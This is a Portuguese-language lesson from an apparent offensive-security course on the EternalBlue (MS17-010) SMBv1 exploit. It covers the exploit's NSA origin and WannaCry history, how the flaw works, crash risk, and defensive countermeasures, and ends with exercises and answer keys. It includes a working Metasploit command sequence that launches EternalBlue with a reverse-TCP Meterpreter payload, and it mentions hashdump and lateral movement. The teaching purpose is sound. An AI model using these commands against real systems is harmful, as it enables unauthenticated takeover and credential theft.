Agora aplicamos tudo num exploit real, e não um qualquer: o EternalBlue (MS17-010) é um dos exploits mais impactantes da história da computação. Ele explora uma falha crítica no protocolo SMBv1 do Windows (que você enumerou no Bloco VI) e permite execução remota de código sem autenticação — ou seja, comprometer um Windows vulnerável pela rede, sem credenciais, obtendo controle total. Foi o motor de ataques globais como o WannaCry e o NotPetya, que causaram bilhões em prejuízo. Estudá-lo é entender como uma única vulnerabilidade pode ser catastrófica, e é seu primeiro comprometimento completo de ponta a ponta. Contra uma VM Windows vulnerável do seu laboratório, sempre.

Ciberarma, vazamento e WannaCry

Comece pela história, porque ela ensina lições que transcendem a técnica. O EternalBlue não foi descoberto por pesquisadores acadêmicos — ele era uma ciberarma desenvolvida e mantida em segredo pela NSA (agência de inteligência dos EUA), que explorava a falha do SMBv1 sem reportá-la à Microsoft, usando-a para suas próprias operações. Em 2017, um grupo chamado Shadow Brokers vazou publicamente esse arsenal, e o EternalBlue caiu nas mãos do mundo. A Microsoft havia lançado a correção pouco antes (o boletim MS17-010), mas incontáveis sistemas permaneciam sem atualizar — e semanas depois, o ransomware WannaCry usou o EternalBlue para se espalhar automaticamente por SMB, infectando centenas de milhares de máquinas em dias, incluindo hospitais, cujos sistemas pararam. A lição é dupla e sombria: o acúmulo secreto de vulnerabilidades por Estados cria risco sistêmico (quando vazam, todos sofrem), e a não aplicação de patches disponíveis transforma uma falha corrigível numa catástrofe global. WannaCry só foi possível porque milhares não aplicaram uma correção que já existia.

Verificar antes de explorar

Agora, a exploração no Metasploit, que amarra as duas pontas. Lá no Bloco VI (aula Nmap Scripting Engine: de scanner a detector de vulnerabilidades), você verificou a vulnerabilidade com o Nmap (--script smb-vuln-ms17-010). Confirmada, o fluxo é o padrão que você já conhece — e a prudência de verificar antes (aula Metasploit Framework I: a plataforma que industrializou a exploração) se aplica com o auxiliary dedicado:

# 1. VERIFICAR a vulnerabilidade antes de explorar (prudência profissional)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.10
run                                    # confirma se o alvo é vulnerável

# 2. EXPLORAR
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5                  # seu IP
exploit

SYSTEM direto, sem credencial

Se o alvo é vulnerável e o exploit tem sucesso, você recebe uma sessão Meterpreter com privilégios de SYSTEM — o nível mais alto do Windows. Não um usuário comum, não um administrador que ainda precisa escalar: SYSTEM direto, controle total da máquina, sem ter fornecido uma única credencial. Essa é a razão de o EternalBlue ser tão temido — ele pula todas as etapas intermediárias e entrega o reino de uma vez. A partir dessa sessão SYSTEM, todo o repertório do Meterpreter está à sua disposição: hashdump para extrair credenciais, screenshot, acesso total ao sistema de arquivos, e — o mais perigoso em rede — o alvo comprometido vira trampolim para movimentação lateral (aula Movimentação lateral: espalhando-se pela rede).

Por que ele funciona

Vale entender conceitualmente por que o EternalBlue funciona, sem entrar na mecânica de exploração binária (que é a trilha das aulas Engenharia reversa: desmontando o software para entendê-lo a Fuzzing e exploit development: descobrindo o desconhecido). A falha é um erro no tratamento de certos pacotes SMBv1 malformados: o exploit envia pacotes cuidadosamente construídos que provocam uma corrupção de memória no kernel do Windows, e essa corrupção é manipulada para executar o código do atacante com os privilégios do kernel — daí o acesso SYSTEM. É um buffer overflow de kernel, essencialmente, cuja mecânica fina veremos em princípio nas aulas Fundamentos de buffer overflow I: corrompendo a memória a Fundamentos de buffer overflow II: as defesas e a corrida armamentista. O ponto acessível é: pacotes malformados enviados a um serviço que os processa incorretamente resultam em execução de código do atacante. É por isso que a enumeração SMB e a identificação de SMBv1 (aula Enumeração SMB: o protocolo mais explorado do mundo Windows) eram tão importantes — elas apontam exatamente esse vetor.

O exploit que pode derrubar o alvo

O EternalBlue também é uma aula sobre impacto e responsabilidade na exploração. Este exploit pode derrubar o sistema alvo — se algo der errado na corrupção de memória, o Windows sofre um "tela azul" (crash) em vez de entregar o shell. Em versões e configurações específicas, a taxa de falha com crash é real. Isso reforça tudo que dissemos: você testa primeiro em laboratório para conhecer o comportamento, e num teste real explorar algo tão intrusivo contra produção exige acordo explícito nas Regras de Engajamento — derrubar o servidor de um cliente com um EternalBlue mal aplicado é o tipo de incidente que arruína um engajamento e uma reputação. Poder obter SYSTEM não significa que você deva disparar o exploit sem considerar o risco de indisponibilidade.

Patch, SMBv1 e segmentação

Do lado defensivo, o EternalBlue é o caso de estudo definitivo de por que as defesas fundamentais importam, e cada contramedida responde a uma lição da sua história: aplicar patches (o MS17-010 existia antes do WannaCry — atualizar teria prevenido tudo); desabilitar o SMBv1 completamente (protocolo obsoleto que não deveria existir em ambiente moderno — sem SMBv1, não há EternalBlue); segmentar a rede (para que um comprometimento não se espalhe lateralmente como o WannaCry fez); não expor SMB à internet (a porta 445 exposta foi como o ataque alcançou tantas máquinas); e monitorar exploração de SMB. A persistência do EternalBlue como ameaça anos após a correção — ainda hoje se encontram sistemas vulneráveis — é o lembrete mais eloquente do curso de que a segurança falha menos por falta de soluções e mais por falta de aplicação das soluções que existem.

Fontes e leituras recomendadas

Exercícios

  1. O que o EternalBlue explora, e por que a característica "sem autenticação" o torna tão perigoso?

    ✓ Resposta:

    Explora uma falha crítica no protocolo SMBv1 do Windows, permitindo execução remota de código. A ausência de autenticação o torna perigosíssimo porque permite comprometer um Windows vulnerável pela rede sem nenhuma credencial, obtendo controle total diretamente.

  2. Conte a história do EternalBlue: sua origem, o vazamento, e sua relação com o WannaCry. Que dupla lição ela ensina?

    ✓ Resposta:

    Era uma ciberarma da NSA que explorava secretamente a falha do SMBv1 sem reportá-la à Microsoft; foi vazada em 2017 pelo grupo Shadow Brokers. Semanas depois, o ransomware WannaCry a usou para se espalhar automaticamente por SMB, infectando centenas de milhares de máquinas. Lição dupla: o acúmulo secreto de vulnerabilidades por Estados cria risco sistêmico quando vaza, e a não aplicação de patches disponíveis transforma uma falha corrigível em catástrofe.

  3. Que tipo de acesso o exploit entrega ao ter sucesso, e por que isso é notável comparado a um comprometimento típico?

    ✓ Resposta:

    Entrega uma sessão Meterpreter com privilégios de SYSTEM — o nível mais alto do Windows. É notável porque pula as etapas intermediárias: não exige credenciais nem escalação posterior, entregando controle total de imediato.

  4. Explique conceitualmente (sem a mecânica binária) por que o EternalBlue funciona.

    ✓ Resposta:

    Porque o exploit envia pacotes SMBv1 malformados que provocam corrupção de memória no kernel do Windows; essa corrupção é manipulada para executar o código do atacante com privilégios de kernel (SYSTEM). Em essência, é um buffer overflow de kernel provocado por pacotes que o serviço processa incorretamente.

  5. Cite três contramedidas defensivas contra o EternalBlue e explique por que sua persistência como ameaça é uma lição sobre patching.

    ✓ Resposta:

    Contramedidas: aplicar patches (o MS17-010 existia antes do WannaCry), desabilitar o SMBv1, segmentar a rede, não expor SMB à internet, monitorar exploração de SMB. Sua persistência anos após a correção mostra que a segurança falha menos por ausência de soluções e mais por não aplicação das que existem — o patch estava disponível e, ainda assim, sistemas seguem vulneráveis.